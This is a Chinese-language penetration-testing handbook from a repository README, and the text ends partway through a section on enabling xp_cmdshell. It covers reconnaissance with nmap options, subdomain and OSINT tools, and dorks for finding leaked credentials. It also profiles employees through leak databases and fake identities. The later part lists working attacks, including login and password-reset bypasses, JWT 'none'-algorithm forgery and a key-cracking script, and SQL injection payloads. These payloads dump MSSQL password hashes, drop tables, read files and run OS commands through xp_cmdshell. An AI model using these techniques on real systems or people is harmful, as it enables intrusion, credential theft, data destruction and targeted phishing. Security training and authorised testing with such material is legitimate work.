# Readme ## 渗透测试手册 - Pentest Handbook * repo: * 公众号:关注安全技术 * Author:小y # 收集信息 # IP和端口信息 # ASN [https://mxtoolbox.com/asn.aspx](< https://mxtoolbox.com/asn.aspx>) # NMAP使用 **Ping选项** ``` -PE/-PI (ICMP Echo Request Ping) -PN/-PD/-P0 (不Ping) -PS (TCP SYN Ping) -PU (UDP Ping) -PY (SCTP Ping) -PO (IP Protocol Ping) -PP (ICMP Timestamp Ping) -PM (ICMP Address Mask Ping) -R (Require Reverse) -n (Disable Reverse DNS) --dns-servers (Specify DNS Servers) ``` **OS系统探测** ``` -O (系统指纹) -A (更高级，更详细的识别操作系统) --osscan-limit (限制系统扫描) --osscan-guess, --fuzzy (更灵活的猜测) ``` **版本探测** ``` -sV (版本扫描) --allports (不错过任何端口) --version-intensity (版本扫描强度) 设置从 0 (简单) 到 9 (详细) --version-light (简单扫描版本) --version-all (扫描全部版本) --version-trace (For Debugging) 显示NMAP细节 ``` **扫描技术** ``` -sS (TCP SYN Scan) 半开扫描也是隐形扫描 -sT (TCP Connect() Scan) -sA (ACK Scan) -sW (Window Scan) -sU (UDP Scan) -sN (Null Scan) -sF (FIN Scan) -sX (Xmas Tree Scan) --scanflags (Customize TCP Scan Flags) -sP (Ping Scan) -sO (IP Protocol Scan) -sR (RPC Scan) Remote Procedure Call -sP (Ping Scan) -sn (Ping Scan) 不扫描端口 -sL (List Scan) 简单的列表扫描 -sI (Idle Scan) Zombie Scan -b (FTP Bounce Attack) -sY (SCTP Init Scan) -sZ (Cookie-Echo Scans) #### 机器和端口选项 --exclude (不包括某主机/网络) --excludefile (不包括目标文件) -iR (随机目标) --randomize_hosts/-rH (随机主机) -iL (文件中读取目标) -Pn (视所有主机为在线状态) --system-dns (使用系统的 DNS解析) --traceroute (追踪每个跃点) -p (只扫描特殊端口) -F (Fast Scan) 扫描比默认状态更少的端口，快速扫描 -r (连续扫描) --top-ports (扫描常见端口) --port-ratio (扫描比常见端口更多的端口) ``` **防火墙/ids规避和欺骗** ``` -f/-ff (分段IP数据包) --mtu (最大传输单位) --ttl (存活时间) -D (创建诱饵掩盖目标) -S (欺骗源地址) -e (使用指定接口) -g/--source-port (扫描给定的端口) --proxies (通过 HTTP/SOCKS4 代理中继连接) --data-length (Data Length) 将随机数据附加到发送的数据包 --spoof-mac mac地址欺骗 --badsum (伪造数据包) 发送带有伪造 TCP/UDP/SCTP 校验和的数据包 --host-timeout 主机超时时间 --initial-rtt-timeout (初始化往返超时) --min-rtt-timeout (最小超时时间) --max-rtt-timeout (最大超时时间) --max-hostgroup (每次扫描的最大并行主机数) --min-hostgroup (每次扫描的最小并行主机数) --max-parallelism (最大并行端口扫描) --min-parallelism (最小并行端口扫描) --scan-delay (扫描之间的最小延迟) --max-scan-delay (探针之间的最大延迟) --timing/-T<0|1|2|3|4|5> (扫描力度，简单 (T0)| 偷偷摸摸 (T1)| 礼貌 (T2)| 正常 (T3)| 使劲 (T4)| 疯狂 (T5)) --min-rate (每秒发送数据包的速度不低于 ) --max-rate (每秒发送数据包的速度不超过 ) ``` **运行时交互和报告选项** ``` -v/--verbose/-vv (详细模式/增加详细度) -d/--debug/-dd (调试模式/增加详细度) --interactive (交互模式) --noninteractive (非交互模式) --reason (显示端口处于特定状态的原因) --open (仅显示打开（或可能打开）的端口) --packet-trace (数据包跟踪显示所有发送和接收的数据包) -iflist (打印主机接口和路由（用于调试）) --log-errors (将错误/警告记录到正常格式的输出文件) --append-output (追加输出) --resume (恢复中止的扫描) --stylesheet (将 XML 输出转换为 HTML) --webxml (参考来自 Nmap.Org 的样式表以获得更可移植的 XML) --no-stylesheet (防止 XSL 样式表与/XML 输出的关联) -oA (一次输出三种主要格式) -oN (常规模式) -oX (XML Format) -oG (Grepable Format) -oS (Script Kiddie Format) ``` **脚本和其他选项** ``` -sC/--script (使用lua脚本) --script-args (脚本参数) --script-args-file=filename (参数写入文件) --script-trace (显示所有发送和接收的数据) --script-updatedb (升级脚本库) --script-help (显示脚本帮助细节) -h/--help (帮助查看) -V/--version (Nmap 版本) --datadir (Data目录) -6 (IPv6 支持) --privileged (完整权限) ``` # 工具 ``` Masscan、scanport,Nmap等 $masscan -p --exclude --banners -oX 针对常见的那些端口的利用的常规方法常见的未授权访问的服务如redis，mongodb等 https://github.com/NetSPI/NetblockTool python3 NetblockTool.py -v Google Hurricane Electric BGP 工具包 https://securitytrails.com/app/sb https://ipinfo.io/ 全面的 IP 地址数据，IP地理定位 API https://www.ipuu.net/#/home https://site.ip138.com/ HOST碰撞：https://github.com/fofapro/Hosts_scan https://github.com/pmiaowu/HostCollision ``` # 历史IP [https://x.threatbook.cn/
](< https://x.threatbook.cn/ >) # 域名信息 # CDN是否存在 ``` Ping、多地ping、国外ping https://github.com/wwl012345/CDNCheck 单个域名>python3 cndcheck.py -u domain 多个域名>python3 cndcheck.py -f url.txt https://www.host-tracker.com/ https://www.webpagetest.org/ https://ping.chinaz.com/ https://dnscheck.pingdom.com/ https://github.com/cisagov/findcdn >findcdn list asu.edu -t 7 --double ``` # 绕过CDN ``` 子域名 https://dnsdb.io/zh-cn/ Ping根域名 Nslookup Cloudflare的真实IP寻找 http://crimeflare.org:82/cfs.html https://github.com/gwen001/pentest-tools/blob/master/cloudflare-origin-ip.py 查找老域名查找关联域名 www.baidu.com www.baidu.cn www.baidu.org www.baidu.xyz等等信息泄露/配置文件 Phpinfo 网页源码 Svn Github Shodan/fofa/zoomeye SSL证书记录 https://censys.io/ 网站漏洞 Xss Ssrf 命令执行 SQL注入(某种情况loadfile读取linux的ip配置文件，hosts文件等) DNS记录，证书记录设置xff/x-remote-ip/x-remote-addr为127.0.0.1/或ipv6地址 RSS订阅/邮件头 APP反编译搜索/截取APP的请求信息修改hosts文件指向 ``` # DNS历史记录 ``` https://dnsdumpster.com/ https://censys.io/ https://dnsdb.io/zh-cn https://hackertarget.com/find-dns-host-records https://securitytrails.com/ 域传送漏洞检查 Dnsenum、fierce，dnsrecon http://ha.ckers.org/fierce/ $ ./fierce.pl -dns example.com $ ./fierce.pl –dns example.com –wordlist myWordList.txt >dig @ns.example.com example=.com AXFR >nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器 >nslookup #进入nslookup交互模式 >server dns.domian.com #指定dns服务器 >ls xxx.yyy.cn #列出域信息 https://github.com/fwaeytens/dnsenum dns-brute-script - Nmap 将尝试通过暴力破解流行的子域名来枚举 DNS 主机名。 ``` # SSL证书信息 [ https://crt.sh/?q=%25.target.com \ https://censys.io/certificates?q=target.com \ https://developers.facebook.com/tools/ct \ https://github.com/cheetz/sslScrape](< https://crt.sh/?q=%25.target.com https://censys.io/certificates?q=target.com https://developers.facebook.com/tools/ct https://github.com/cheetz/sslScrape>) # Whois信息 ``` 站点注册人注册过的其他网站(对注册人、邮箱、电话的反查)，对查到的站点的深入 https://viewdns.info/reversewhois $ amass intel -whois -d https://github.com/weppos/whois https://lookup.icann.org/en/lookup Whois注册信息反查站长之家 Whois：https://whois.chinaz.com/ 中国万网 Whois：https://whois.aliyun.com/ 国际 Whois：https://who.is/ ``` # 子域名检查 ``` ● Virus Total ● Netcraft ● DNSdumpster ● Threat crowed ● Shodan ● Cencys ● DNSdb ● Pastebin http://chaos.projectdiscovery.io/ 老站、同样架构或同源码的子站爆破，接口查询 https://phpinfo.me/domain/ https://d.chinacycc.com/index.php?m=Login&a=index subDomainBrute、knockpy OWA发现、dig adfs、dig mail https://linux.die.net/man/1/host https://dns.bufferover.run/dns?q=baidu.com http://api.hackertarget.com/reversedns/?q=target.com https://github.com/OJ/gobuster $ ./gobuster dns -d xxx.com -w subdomains.txt https://github.com/infosec-au/altdns $ altdns -i found_subdomains.txt -o permutation_output -w words.txt -r -s resolved_output.txt https://github.com/OWASP/Amass $ amass enum -passive -d https://github.com/guelfoweb/knock $ knockpy.py SecurityTrails API查询子域名去https://securitytrails.com/申请个免费的API curl -s --request GET --url https://api.securitytrails.com/v1/domain/target.com/subdomains?apikey=API_KEY | jq '.subdomains[]' | sed 's/\"//g' >test.txt 2>/dev/null && sed "s/$/.target.com/" test.txt | sed 's/ //g' && rm test.txt ![image](../../../img/715.png) subfinder - Subfinder 是一个子域发现工具，可以为网站发现有效的子域。 https://github.com/projectdiscovery/subfinder >subfinder -d google.com -all -v assetfinder - 查找与给定域相关的域和子域。 https://github.com/tomnomnom/assetfinder >assetfinder --subs-only google.com knockknock - 一个简单的反向 whois 查找工具，它返回个人或公司拥有的域列表。 https://github.com/harleo/knockknock >knockknock -n google.com -p findomain - 域识别的完整解决方案。支持截屏、端口扫描、HTTP 检查、从其他工具导入数据、子域监控、通过 Discord、Slack 和 Telegram 发出警报、用于源的多个 API 密钥等等。 https://github.com/Findomain/Findomain >findomain -t google.com hakrevdns - 用于执行大量反向 DNS 查找的小型快速工具。 https://github.com/hakluke/hakrevdns >prips 173.0.84.0/24 | hakrevdns -d googlecertfarm https://github.com/rook1337/googlecertfarm >python3 googlecertfarm.py -d google.com https://github.com/shmilylty/OneForAll >python oneforall.py --target example.com run >python oneforall.py --targets ./example.txt run ``` # 网站架构和指纹识别 ### 信息泄露 ``` 电话、邮箱，姓名目录遍历备份文件 (www.zip,xx.com.zip,www.xx.com.zip,wwwroot.zip) .svn/.git/sql/robots/crossdomin.xml/DS_Store等 https://github.com/lijiejie/ds_store_exp https://github.com/admintony/svnExploit https://github.com/mazen160/bfac 若是论坛ID=1的用户名一般为管理、或查看帖子信息、生成字典网页上客服的QQ(先判断是企业的还是个人，用处有时不太大，看怎么用，搞个鱼叉什么的) ``` ### 网站URL提取 ``` http://www.bulkdachecker.com/url-extractor/ ``` ### 网站架构/服务器指纹/CMS识别/容器 ``` 网页源代码请求头/响应头网站底部，顶部，左上角右上角网站报错信息 http://www.yunsee.cn/ 域名/install Firefox插件Wappalyzer https://github.com/vincd/wappylyzer $ python3 main.py analyze -u CMS漏洞定位版本对应已知漏洞检查 CMS未知漏洞挖掘找不到demo就找源码开发者，加群什么的，结合社会工程学要个后台截图(对于一些后台目录复杂的cms)，注意看网站上一些功能介绍的截图。 Web容器已知漏洞(解析漏洞这种) 显示网站使用的技术 https://builtwith.com/ 中间件、组件 Weblogic、tomcat、zabbix、struts、axis等 https://github.com/FortyNorthSecurity/EyeWitness 其他工具whatweb,buildwith,Netcraft 防火墙 https://github.com/EnableSecurity/wafw00f Wafw00f https://github.com/0xInfection/Awesome-WAF#known-bypasses ``` ### 同服站点情况 ``` https://site.ip138.com/ 火狐插件flagfox,配置单击指向bing查ip对应的域名 ``` ### 网站js/网站使用的第三方js ``` https://github.com/003random/getJS https://github.com/Threezh1/JSFinder 或浏览器F12也可以看到加载的敏感信息、可能存在漏洞的参数等信息查看网页源代码，注释的一些信息，比如没有删掉的接口、前台没有的页面、越权、注入、js等 https://github.com/GerbenJavado/LinkFinder $ python linkfinder.py -i -o cli https://github.com/incogbyte/jsearch $ python3.7 jsearch.py -u https://xxx.com -n xxx ``` ### 目录扫描/爬虫(慎用) ``` https://github.com/ghostlulzhacks/crawler/tree/master $ python3 crawler.py -d -l https://web.archive.org 可过滤后缀如.zip,.config,/admin/,/api/ https://github.com/ghostlulzhacks/commoncrawl $ python cc.py -d https://github.com/OJ/gobuster $ ./gobuster dir -k -w -u cewl爬取网站关键字 $ cewl http://www.vulnweb.com -m 5 -w word.txt 爬取网站词汇列表存在word.txt -m指定最小长度 -e -n 爬取网站中的邮箱 $ cewl http://www.vulnweb.com -c 统计词出现的次数 $ cewl http://vulnweb.com -d 3 爬取深度 $ cewl http://testphp.vulnweb.com/artists.php --with-numbers 爬取带数字的词汇 --lowercase 提取词汇变小写代理 $ cewl http://192.168.1.141 --proxy_host 192.168.1.141 --proxy_port 3128 其他工具 ffuf:https://github.com/ffuf/ffuf gobuster:https://github.com/OJ/gobuster wfuzz:https://github.com/xmendez/wfuzz dirbuster ./gobuster -u http://fuck.io/ -w words.txt -t 10 ``` ### WAF情况识别 ``` https://github.com/EnableSecurity/wafw00f 做好绕过策略的计划 ``` ### 随手测试 ``` 单引号 xx.jpg/.php admin/123456 万能密码 Heartbleed漏洞 ``` ### 搜索引擎 ``` Google自定义搜索引擎整合的300多个社交网站 https://cse.google.com/cse?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:iyxger-cwug&q=%22%22 Google自定义搜索引擎整合的文件共享网站 https://cse.google.com/cse/publicurl?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:hn5bcrszfhe&q=%22%22 领英用户提取 https://cse.google.com/cse?cx=001394533911082033616:tm5y1wqwmme ``` ### Shodan/fofa/zoomeye ``` net:<"CIDR,CIDR,CIDR"> org:<"Organization Name"> ssl:<"ORGANIZATION NAME"> nmap使用shodan(https://github.com/glennzw/shodan-hq-nse) >nmap --script shodan-hq.nse --script-args 'apikey=,target=' ``` ### Google dorks ``` Site,filetype,intitle,inurl,intext,ext等 https://gbhackers.com/latest-google-dorks-list/ Codepad 是一个在线编译器/解释器。有时可以在此处找到硬编码凭据 site:codepad.co "Company Name" Scribd 以其书籍和电子书而闻名，有时可以找到员工上传的包含密码的内部文件 site:scribd.com "Company Name" 查找公司使用的 NodeJS 源代码 site:npmjs.com "Company Name" 列出软件开发项目的 Web 服务依赖关系 site:libraries.io "Company Name" Coggle 用于创建思维导图。您也许可以找到包含凭据的内部流程图 site:coggle.it "Company Name" papaly用于保存书签和链接。您有时可以找到内部链接、文档和凭据。 site:papaly.com "Company Name" Trello 是一个基于网络的看板。这通常用于查找组织的凭据和内部链接。 site:trello.com "Company Name" prezi用于进行演示，有时可能包含内部链接和凭据。 site:prezi.com "Company Name" NPM 和 GitHub 的 CDN site:jsdelivr.net "Company Name" Codepen 是一个用于创建/测试前端代码的在线工具。您有时可以在这里找到 API 密钥和其他凭据 site:codepen.io "Company Name" Pastebin 是一个人们上传文本文档的网站，通常用于共享。通常可以在这里找到内部文件和凭证。黑客还使用此站点共享数据库泄漏 site:pastebin.com "Company Name" Repl 是一个在线编译器。有时可以在用户脚本中找到硬编码的凭据。 site:repl.it "Company Name" Gitter 是一个开源消息传递平台。有时可以找到包含凭据、内部链接和其他信息的私人消息。 site:gitter.im "Company Name" 像 GitHub 的 Bitbucket 是一个存储源代码的地方。您通常可以在这里找到硬编码的凭据和其他信息。 site:bitbucket.org "Company Name" 这个dork可以用来查找confluence、jira等可能包含敏感信息的产品 site:*.atlassian.net "Company Name" 像 GitHub 这样的 Gitlab 用于存储源代码。您经常可以在这里找到内部源代码和其他敏感信息 Inurl:gitlab "Company Name" ``` ### 截屏 ``` https://github.com/FortyNorthSecurity/EyeWitness $ python3 EyeWitness.py -f subdomains.txt --web ``` ### 蜜罐判断(参考一下即可) ``` https://honeyscore.shodan.io/ ``` # 人员信息 #### 社交 ``` QQ、weibo、支付宝、脉脉、领英、咸鱼、短视频、人人、贴吧、论坛外网信息有些人喜欢把自己的生活传到外网推特、ins、fb等 ``` #### 手机号加入通讯录匹配各个APP用户信息 #### 注册过的网站 ``` https://www.reg007.com/ https://www.usersearch.org/ ``` #### 目标人员的兴趣 ``` 目标人员的兴趣注册过的小众论坛，站点针对此类站点的深入收集到的用户名，电话等信息生成字典 ``` #### 邮箱搜集与验证 ``` Chrome插件查找网页暴露邮箱 https://hunter.io/chrome https://souyouxiang.com/find-contact/ 邮箱域名搜索 https://github.com/killswitch-GUI/SimplyEmail https://tools.verifyemailaddress.io/ https://github.com/maldevel/EmailHarvester python3 EmailHarvester.py -d google.com -e all https://github.com/m4ll0k/infoga python3 infoga.py --domain vmware.com --source all https://www.skymem.info/ 邮箱地址搜索 ``` #### Exchange ``` https://github.com/dafthack/MailSniper ``` #### 历史泄露过的资料等 ``` 库 https://intelx.io/ https://weleakinfo.to/ https://haveibeenpwned.com/ https://github.com/kernelmachine/haveibeenpwned https://www.dehashed.com/ python3 dehashed.py -o -d domain.com -a API-KEY -u user@domain.com ``` #### GPS查询 ``` https://www.opengps.cn/Default.aspx ``` #### 默认密码 ``` https://default-password.info/ http://routerpasswords.com ``` #### 如需注册 ``` Sms https://www.materialtools.com/ http://receivefreesms.com/ Email https://10minutemail.net/ https://zh.mytrashmailer.com/ http://24mail.chacuo.net/enus https://www.linshiyouxiang.net/ Fake id https://www.fakenamegenerator.com/ http://www.haoweichi.com/ https://www.fakeaddressgenerator.com/ ``` #### 企业信息 ``` 天眼查、企查查、企业信用信息公示系统企业邮箱收集，企业架构画像、人员统计、人员职责、部门、WiFi、常用部门密码、人员是否泄露过密码、人员平时爱逛的站点、OA/erp/crm/sso/mail/vpn等入口、网络安全设备（waf,ips,ids,router等统计）、内部使用的代码托管平台(gitlab、daocloud等)，bug管理平台、服务器域名资产统计员工姓名从LinkedIn中提取所有员工 https://github.com/ChrisAD/linkedin-employee-scraper ``` # 其他信息 #### 云信息 ``` Aliyun、AWS、GCP、Azure等查找可公开访问的实例 https://github.com/gwen001/s3-buckets-finder https://github.com/nccgroup/aws-inventory https://github.com/jordanpotti/AWSBucketDump ``` #### APP反编译 ``` url、js、osskey、api等信息查找搜集到接口Fuzz常见参数 ``` #### C段/B段信息 ``` Banner、是否存在目标的后台或其他入口/其他业务系统 ``` #### 工具 ``` recon-ng,theharvester,maltego,exiftool等 https://www.spiderfoot.net/ https://github.com/smicallef/spiderfoot ``` #### 网页缓存 ``` http://www.cachedpages.com/ https://archive.org/web ``` #### 图片反查 ``` 百度识图、googleimage、tineye 原图查询坐标 ``` #### Github/Gitee等代码托管平台 ``` https://github.com/dxa4481/truffleHog https://github.com/lijiejie/GitHack https://github.com/MiSecurity/x-patrol https://github.com/az0ne/Github_Nuggests https://github.com/0xbug/Hawkeye https://github.com/mazen160/GithubCloner 克隆用户的github https://github.com/michenriksen/gitrob.git ``` #### 被入侵网址列表 ``` http://zone-h.org/archive wooyun镜像查找目标企业曾出现的漏洞 http://wooyun.2xss.cc/ ``` #### Amass 深入的击面映射和资产发现 ``` https://github.com/OWASP/Amass >amass intel -org 'Sony Corporation of America' #fetch ASN & CIDR IP Range of a Company >amass intel -active -asn 3725 -ip #enumerate subdomains & IP Address from ASN >amass intel -active -asn 3725 #enumerate subdomains only from ASN >amass intel -active -cidr 160.33.96.0/23 #enumerate subdomains from cidr rang >amass intel -asn 3725 -whois -d sony.com #enumerate subdomains using asn & whois >amass enum -d sony.com -active -cidr 160.33.99.0/24,160.33.96.0/23 -asn 3725 #enumerate subdomains using cidr & asn ``` #### 威胁情报平台 ``` Virustotal：https://www.virustotal.com/gui/home/upload 腾讯哈勃分析系统：https://habo.qq.com/tool/index 微步在线威胁情报：https://x.threatbook.cn/ 奇安信威胁情报：https://ti.qianxin.com/ 360威胁情报：https://ti.360.net/#/homepage 安恒威胁情报：https://ti.dbappsecurity.com.cn/ 火线安全平台：https://www.huoxian.cn Hacking8安全信息流：https://i.hacking8.com/ 零零信安：https://0.zone ``` # 初始访问 # Web服务突破 # 前端 #### 一些存在问题的逻辑 ``` 部分来自：https://mp.weixin.qq.com/s/_0aQYV_4Tz9knQgzs7WSvw 任意用户注册可爆破用户名爆破用户名，密码用户名注入万能密码用户名Xss 修改返回包信息，登入他人账户修改cookie中的参数，如user,adminid等 HTML源码、JS等查看信息搜集一章后台登录参数修改为注册参数/reg、/register、/sign等登录失败返回包修改，例如“false”改为“true”，响应数值“0”改为“1”，登录后台。如果存在这些情况，一般前端Js、Html也可以直接找到后端对应的各类未授权访问接口 Js、Html存在用户名密码注释信息根据系统查找系统对应的默认账号密码登录有些系统的密码为空，密码不填或者抓包后置空发送存在信息泄露手机号、邮箱、人名等可以到社工库查找对应的密码社工字典密码生成https://github.com/zgjx6/SocialEngineeringDictionaryGenerator 页面无注册功能，通过Js或Html找到隐藏注册接口注册登录注册时验证码没有做好绑定，删除验证码参数，或者验证码参数为空可以注册验证码没有做好绑定，发送了验证码但是后端接收到任意验证码都可以注册、爆破、重置密码等密码重置 1．重置一个账户，不发送验证码，设置验证码为空发送请求。 2．发送验证码，查看相应包 3．验证码生存期的爆破 4．修改相应包为成功的相应包 5．手工直接跳转到校验成功的界面 6．两个账户，重置别人密码时，替换验证码为自己正确的验证码 7．重置别人密码时，替换为自己的手机号 8．重置自己的成功时，同意浏览器重置别人的，不发验证码 9．替换用户名，ID，cookie，token参数等验证身份的参数 10．通过越权修改他人的找回信息如手机/邮箱来重置 ``` #### JWT攻击手法 ``` https://jwt.io/#debugger-io http://jsonwebtoken.io eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature ``` **未校验签名** ``` 将原JWT串解码后修改用户名等身份认证的地方，生成新token发送请求 ``` **禁用哈希** ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/1.png)
``` Alg代表加密方式，修改用户名等身份认证的地方，把HS256设置为none生成token发送请求，使用python的pyjwt模块 ``` ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/2.png)
jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='') **爆破弱密钥** ``` >pip3 install pyjwt >python3 crack.py ``` ```python import jwt import termcolor jwt_str = R'token' with open('/root/password.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str,verify=True,key=key_) print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--') break except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError): print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--') except jwt.exceptions.InvalidSignatureError: print('\r',' ' * 64, '\r\btry',key_,end='',flush=True) continue else: print('\r','\bnot found.') ``` ```python import jwt encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret' encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE" jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key # result {u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'} ``` **jwt\_tool** ``` git clone https://github.com/ticarpi/jwt_tool python3 -m pip install termcolor cprint pycryptodomex requests python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C ``` **c-jwt-cracker** ``` git clone https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE ``` # SQL注入 # 判断注入 **简单字符** ``` ' %27 " %22 # %23 ; %3B ) Wildcard (*) ' # required for XML content ``` **编码** ``` %%2727 %25%27 ``` **合并字符** ``` `+HERP '||'DERP '+'herp ' 'DERP '%20'HERP '%2B'HERP ``` **逻辑测试** ``` page.asp?id=1 or 1=1 -- true page.asp?id=1' or 1=1 -- true page.asp?id=1" or 1=1 -- true page.asp?id=1 and 1=2 -- false ``` # 数据库类型识别 ``` ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"], ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"], ["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"], ["@@CONNECTIONS>0" ,"MSSQL"], ["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"], ["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"], ["USER_ID(1)=USER_ID(1)" ,"MSSQL"], ["ROWNUM=ROWNUM" ,"ORACLE"], ["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"], ["LNNVL(0=123)" ,"ORACLE"], ["5::int=5" ,"POSTGRESQL"], ["5::integer=5" ,"POSTGRESQL"], ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"], ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"], ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"], ["current_database()=current_database()" ,"POSTGRESQL"], ["sqlite_version()=sqlite_version()" ,"SQLITE"], ["last_insert_rowid()>1" ,"SQLITE"], ["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"], ["val(cvar(1))=1" ,"MSACCESS"], ["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"], ["cdbl(1)=cdbl(1)" ,"MSACCESS"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` # MSSQL **注释符** ``` -- 注释 /* 注释 */ ``` **用户** ``` SELECT CURRENT_USER SELECT user_name(); SELECT system_user; SELECT user; ``` **版本** ``` SELECT @@version ``` **主机名** ``` SELECT HOST_NAME() SELECT @@hostname; ``` **数据库名** ``` SELECT DB_NAME() ``` **列数据库** SELECT name FROM master..sysdatabases; SELECT DB\_NAME(N); — for N = 0, 1, 2, … SELECT STRING\_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+) **列表** ``` SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable SELECT table_catalog, table_name FROM information_schema.columns SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+) ``` **列字段** ``` SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable SELECT table_catalog, column_name FROM information_schema.columns ``` **导出用户和密码** ``` MSSQL 2000: SELECT name, password FROM master..sysxlogins SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.) MSSQL 2005 SELECT name, password_hash FROM master.sys.sql_logins SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins ``` **联合查询** ``` 列出数据库 $ SELECT name FROM master..sysdatabases [*] Injection [*] msdb [*] tempdb 列出表 $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' [*] Profiles [*] Roles [*] Users 列出字段 $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') [*] UserId [*] UserName 导出数据 $ SELECT UserId, UserName from Users ``` **报错型注入** ``` 整型 : convert(int,@@version) 整型 : cast((SELECT @@version) as int) 字符型 : ' + convert(int,@@version) + ' 字符型 : ' + cast((SELECT @@version) as int) + ' ``` **盲注** ``` AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- - AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97 AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90 SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%' ``` **延时型** ``` ProductID=1;waitfor delay '0:0:10'-- ProductID=1);waitfor delay '0:0:10'-- ProductID=1';waitfor delay '0:0:10'-- ProductID=1');waitfor delay '0:0:10'-- ProductID=1));waitfor delay '0:0:10'-- IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' comment: -- ``` **堆查询** ``` ProductID=1; DROP members-- ``` **读文件** ``` 需要ADMINISTER BULK OPERATIONS 或 ADMINISTER DATABASE BULK OPERATIONS 权限 -1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null ``` **命令执行** ``` EXEC xp_cmdshell "net user"; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'; 激活xp_cmdshell(sql server 2015中默认禁用状态) EXEC sp_configure 'show advanced options',1; RECONFIGURE; 